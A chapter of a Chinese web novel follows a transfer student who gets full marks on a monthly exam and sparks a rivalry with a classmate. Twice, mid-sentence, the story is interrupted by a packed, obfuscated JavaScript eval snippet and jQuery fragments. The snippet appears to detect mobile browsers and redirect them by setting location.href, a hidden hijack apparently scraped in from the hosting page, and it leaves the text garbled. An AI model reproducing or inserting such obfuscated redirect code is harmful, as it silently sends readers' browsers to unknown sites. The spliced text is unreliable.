她忽然觉得自己的名字被赋予了某种意义。 不是父母给她的希冀,而是她征战四方的代名词。 这个名字将散发金灿灿的光辉,陪她去到任何舞台,让她成为她自己。 不负她这些日子每天都去谭恒澈的书房刻苦学习,锻炼自己的答题速度和专注程度,每一科的题目,她都答得十分流畅。 有的甚至不需要读完整道题,她就能圈出关键信息,快速得出答案。 高效又完美。 像语文这种需要大量写字且涵盖卷面分的科目,答起来比较费力,但其他书写量没那么大的科目,她都是提前半小时就写完了整张试卷。 考数学的时候就开始有人提前交卷了。 当时检查过没有漏掉的题目,她又验算了一遍,没想到还是有剩余的时间。 “老师我写完了可以提前交卷吗?” 冯寂染循声望去,认出举着手提出要求的人是传说中学完了所有初中内容的曾瑞祺。 身旁有人感慨。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13362819|134633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哇哦,学神的速度真可怕,我还有两道题没写呢,他都做完了。” “那还不快写,你跟学神能比吗?” 问的好。 冯寂染发现,如果只比速度不比准确率的话,她看起来要比曾瑞祺还要快一点。 当然,也有可能曾瑞祺已经睡过一觉,无聊得实在忍不下去才交卷的。 这么比其实根本分不出胜负。 曾瑞祺交卷以后,冯寂染顺势看了一眼陪她挑灯夜战数晚的谭恒澈。 他手上捏着一只用草稿纸折出的纸飞机。 显然也已经玩了好一会儿了。 她不由怀疑这次月考会出很多满分。 期待了这么久的月考令她感到有点失望。 难度再高一点就好了。 目前的难度根本拉不开差距。 月考过后,班上就只剩下两种人。 一种是逢人就对答案的,另一种则是一听到别人对答案就躲的。 “我把选择题答案都抄手上了,你就跟我对对嘛。” “我的天,你不怕老师怀疑你是考前写手上的吗?” “考前怎么写手上?” “透题了嘛!又不是没出过这种事。上一届有一次月考,整个年级出了两百个满分,可怕。” 冯寂染觉得这次不透题也有可能出两百个满分。 考完试她整个人都放松了下来,还头一次用零花钱去小卖部买了瓶AD钙奶。 赵伊婷见了说:“你考完能不能奖励自己喝点好的?” 冯寂染咬着吸管一怔:“?” 赵伊婷把自己的一瓶特仑苏放她桌上:“起码喝点真奶吧。” 冯寂染摇头:“不要,我就喝我这个,好喝。” 她其实不爱喝牛奶,总觉得奶很腥,但是谭恒澈家每天提供的早餐里都有牛奶,她已经喝腻了。 张耀毅是懂怎么给人添晦气的,笑着插嘴道:“喜欢喝酸的呀,是不是怀了呀。” 赵伊婷扬起书就对着张耀毅一顿暴扣,把书皮都打皱了。 冯寂染刚和张耀毅做同桌的时候一天想揍他八百回,现在已经对他张嘴就讨打这件事麻木了。 她波澜不惊地继续咬着吸管,直到吸管发出抽取空气的声音。 正准备把喝空的瓶子扔到教室后面的垃圾桶,一起身,差点撞进谭恒澈怀里,幸好她重心稳,及时刹住了,惊恐地睁大了双眼,心跳骤停。 谭恒澈清了清嗓子:“你先过去?” 冯寂染垂下眼:“你先吧。” 反正他也没跟她讲过女士优先。 谭恒澈侧身把过道让了出来。 冯寂染犹豫不定时,谭恒澈身后的一个男生已经从他们中间的空隙穿过去了,完了还扭头,一脸奇怪地看了两人一眼。 她心脏狂跳,刚抬起腿,步子还没迈出去,就听谭恒澈说“不走算了”。 探出去的脚已经收不回来了,下一秒他们就结结实实地撞在一起。 她的额头撞上谭恒澈的鼻梁,两人异口同声地嘶了一口凉气。 真是一点默契都没有。 31. 秋思(十三) 张耀毅不招女生待见,却见不得谭恒澈和女生的关系比自己融洽,见冯寂染和他撞个正着,颇像那些少女漫里的狗血桥段,当即不悦地从自己的座位上腾地一下站起来,横冲直撞地下了座位。 他起身的动作过于迅猛,胯骨撞在桌沿,将冯寂染的课桌撞歪,导致她桌肚里的纸张纷纷扬扬落得满地都是。 他最近挨打挨得多,做了亏心事以后第一反应就是举起双手护住头。 冯寂染无语地瞥了他一眼,蹲下身来捡起散落在地上的纸张。 这里面有学校发的问卷调查表,有档案资料,还有之前她找刘虹萍要的过往成绩单。 这些成绩单恰好覆盖在其他资料上面。 成绩单的表头除了年头月份,以及他们班的年级不同,格式都是一样的,乍一眼看上去,还以为刚考完试就出成绩了。 张耀毅头脑简单,眼神也不怎么好,粗略地扫了一眼便先入为主地露出惊讶的神色,好在定睛一看及时反应了过来,才没有在宿敌面前丢人现眼。 随即他又想到:冯寂染不是这学期才转到他们班的吗?怎么会有他们班的成绩单? 电光石火之间,他脑海中灵光一现,顿时回想起上次冯寂染找他打听谭恒澈成绩的事,不由生出了一个大胆的想法:冯寂染肯定是因为倾慕谭恒澈,才会在往期成绩单上找谭恒澈的名字。 想到这里,他暗自瞪了“艳福不浅”的谭恒澈一眼,又冷哼一声,经过谭恒澈时,故意撞了一下谭恒澈的肩。 谭恒澈和冯寂染之间的距离早已随着冯寂染蹲身捡纸拉开了。 张耀毅本不用跟他接触,就能顺畅地从他们之间经过,却非要撞过来,明显是故意为之。 谭恒澈不悦地“啧”了一声,侧眼瞄了冯寂染一眼,恹恹作罢。 要不是冯寂染在旁边,他真想把张耀毅揪回来理论一番,绝不甘心善了。 而在冯寂染面前,他不想显得太凶悍。 倒不是怕她回去告状,而是顾忌他在她心目中的形象会一落千丈。 他心知肚明,她从初遇就不怎么待见自己,如今更是怕自己表现得太强势,让他们之间好不容易缓和的关系再次疏远。 从前他可不在乎别人怎么看他,对他人的赞美也不感冒,但自从上次他在校外从那帮社会青年手中救下了冯寂染,一切就都不一样了。 他感受到了一瞬间热血上头无畏冲锋的英勇,让他有生以来头一次意识到自己想成为一座巍峨的高山。 冯寂染不知道谭恒澈为什么失神,她捡完自己的资料塞回肚子里,见谭恒澈仍在神游天外,当机立断从他旁边经过,走到教室最后面,将喝空的牛奶盒扔进了垃圾桶。 等她回到座位的时候,谭恒澈的身影已经消失在了教室里。 她坐回自己的座位,将刚才掉落在地上的往期成绩单抽出来看了一眼。 考前她不仅聚焦于前十的同学,同时也注意到了十一到二十五名的分数相差并不远。 跟她在镇上上学时的情况不同:断层没有了。 这里的竞争更为激烈复杂。 她看到这里有这么多出色的竞争对手,心想她能和水平相当的同学同台竞技真的太令人兴奋了。 而且由于受到了史无前例的屈辱,她给自己设了许多假想敌,满心想着只要一鸣惊人地考到第一就能一雪前耻,这样她一定能在新环境里站稳脚跟。 然而月考怎么和想象中不一样? 她紧张地苦心筹备了一周,结果卷子发下来,难度比她想象得低太多,忽然就生出了一种杀鸡用牛刀的挫败感。 就这? 她万万没想到自己一个从小县城转到大城市的转学生,和这些家境优渥的富家子弟比起来竟然学有余力,不禁感叹:怎么只想到找班主任要成绩单,没想到把往期的试卷也要过来。 惊讶之后是失望,失望之后松了口气。 别的不说,至少能给父母和资助她上学的谭家人一个满意的交代了。 她不知道自己的学习心态是否正确,但一定是畸形的。 之前是为了雪耻,如今是为了交差,都偏离了为自己的未来而努力的初衷。 她好像一下从热血沸腾的学习积极分子,变成了气定神闲的老油条。 她现在参加考试唯一的目的就是打败谭恒澈。 他向她宣过战了。 — 月考试卷是考完第二天在老师和学生们的共同努力下批阅完毕的,年级排名还没出来就走漏了风声。 冯寂染每科都是满分,不需要按正常流程排序都知道她的排名。 在系统上录她成绩的时候,谭恒澈正在旁边将已经录过成绩的试卷分到相应的班级。 他弯腰蹲在地上,手上分发着物理试卷,脚下走着螃蟹步。 办公室的电脑前,骤然爆发出一声惊呼。 “牛逼啊!全科满分啊!” 他们实验班的语文老师最先凑过去,推了推眼镜:“好久没有看到过满分了。我这次参加评卷,整个年级的作文也就给了五个满分。” 此言一出,吸引了更多师生围观。 前排的人念出满分得主的姓名:“初二(1)班,冯寂染。” “一班以前有这号人吗?” “这是我们班的转学生。” “怪不得能进一班,一班的都是怪物。” 谭恒澈听到冯寂染的名字“唰”地回头,当即从地上弹起来,拖着蹲到发麻的腿,一瘸一拐地走到电脑前,仗着自己的身高和无损的视力,亲眼看到了冯寂染的分数。 他也不呆在办公室里帮忙了,兴奋得奔走相告。 “冯寂染!出分了!你每科都是满分!” 冯寂染的指甲边缘长了一根倒刺,正试探着拔掉,听到他的高呼,直接用力过猛,撕开了一道血口子,不由把受伤的手指塞进嘴里吮吸,缓解伤口处的刺痛。 谭恒澈走到她面前愣了愣,双目圆睁:“多大了还吃手?” 冯寂染:“……” 这不都是他一惊一乍害的吗? 他这么一喊,全班都在看着他俩。 冯寂染环顾了一下四周,然后转回头看向他,后知后觉地尴尬起来:“这么激动……你也全考满分吗?” 谭恒澈的脸色顿时沉了下来。 他刚才分物理试卷的时候看到自己的卷子了,扣了一分。 他不禁霍霍磨牙: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445615|134633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你会不会说话?” 冯寂染“哦”了一声:“不好意思,就是有点好奇。” 谭恒澈沉默两秒,不太情愿地说道:“我接近满分。” 冯寂染见到他这副强撑的模样忍不住想笑,但为了在旁人面前给他留面子,轻咳了一声,不置一词。 张耀毅就庆幸自己一下课就跑了吧,不然不知道多说句话要挨多惨揍。 赵伊婷闻言扭过头冲她比大拇指:“太厉害了宝贝!做你朋友太有面子了!” 说完又嘘谭恒澈,“别跟我宝贝套近乎噢,她现在可是全科满分的大佬,你高攀不起了。” 谭恒澈压根没把赵伊婷的奚落放在眼里,忽略了赵伊婷,笑着对冯寂染说:“你说真的。” 冯寂染一头雾水:“什么真的?” 就那天他问她觉得自己能考到什么水平,她嘻嘻哈哈跟他说能考满分。 他当时以为她在戏耍他,没想到她是真的有这个实力。 谭恒澈不禁纳闷:“你英语不是不好吗?” 冯寂染疑惑一瞬,旋即了然,淡定自若地说:“我只是口语不好,没说笔试和听力也不好,是你自己想当然。” 她唯一的弱点,却是在应试教育中最不中用的。 谭恒澈还想问她有这本事还每天装作心虚的样子刻苦学习。 可他想也知道,这么问出口无异于自取其辱。 也许正因为她刻苦学习,天赋上又无人可及,才在月考中考出了惊人的成绩。 愿赌服输,他这个输家为她喝彩就行了,多说无益。 谭恒澈输得心服口服,却一反常态地有了冲劲,信誓旦旦地说:“别骄傲,我下次肯定赢。” 不等冯寂染回答,赵伊婷握紧拳头振臂一挥,仗着冯寂染全科满分的势,嚣张地说:“找虐啊!放马过来啊!我们染染可不怕!” 怕的,怕的。 冯寂染小声叫赵伊婷低调,抬头看向谭恒澈,目光坚定地说:“随时接受你的挑战,但我现在已经没那么想赢了。” 这次月考之后,她已然意识到,她能考到这个分数,并不是智商决定的,只不过她洞悉了规则,每一科都在既定的规则下按要求答题,没有一丝冒险的想法,答的全部是最安全的标准答案,甚至作文她也围绕的是爱国主义主题,胜在立意。 所以她比超纲学习的同学更稳重,比谭恒澈这种精力分散的博学者更细心。 她这样的应试风格是在小镇里被培养出来的。 在小镇里,所有的老师都告诉她,不要在答题的时候加入自己的想法。 可到了大城市以后,她每天都在观察着周围同学的学习状态。 他们好像大多数精力都没有放在学习上,分数上的咬紧不放只是假象。 他们在老师的引导下,更加注重培养自己独立思考的能力,会拿很多在分数上无法体现的成本去试错。 如果她真的鼠目寸光地把焦点放在自己的分数上沾沾自喜,以为这样就赢了,那她也输得太惨了。 时至今日,她仍然保持着自己的理智,并不会因为谭恒澈在她面前发表的一点见解,就被他牵着鼻子走。 她的成长,现在才真正开始。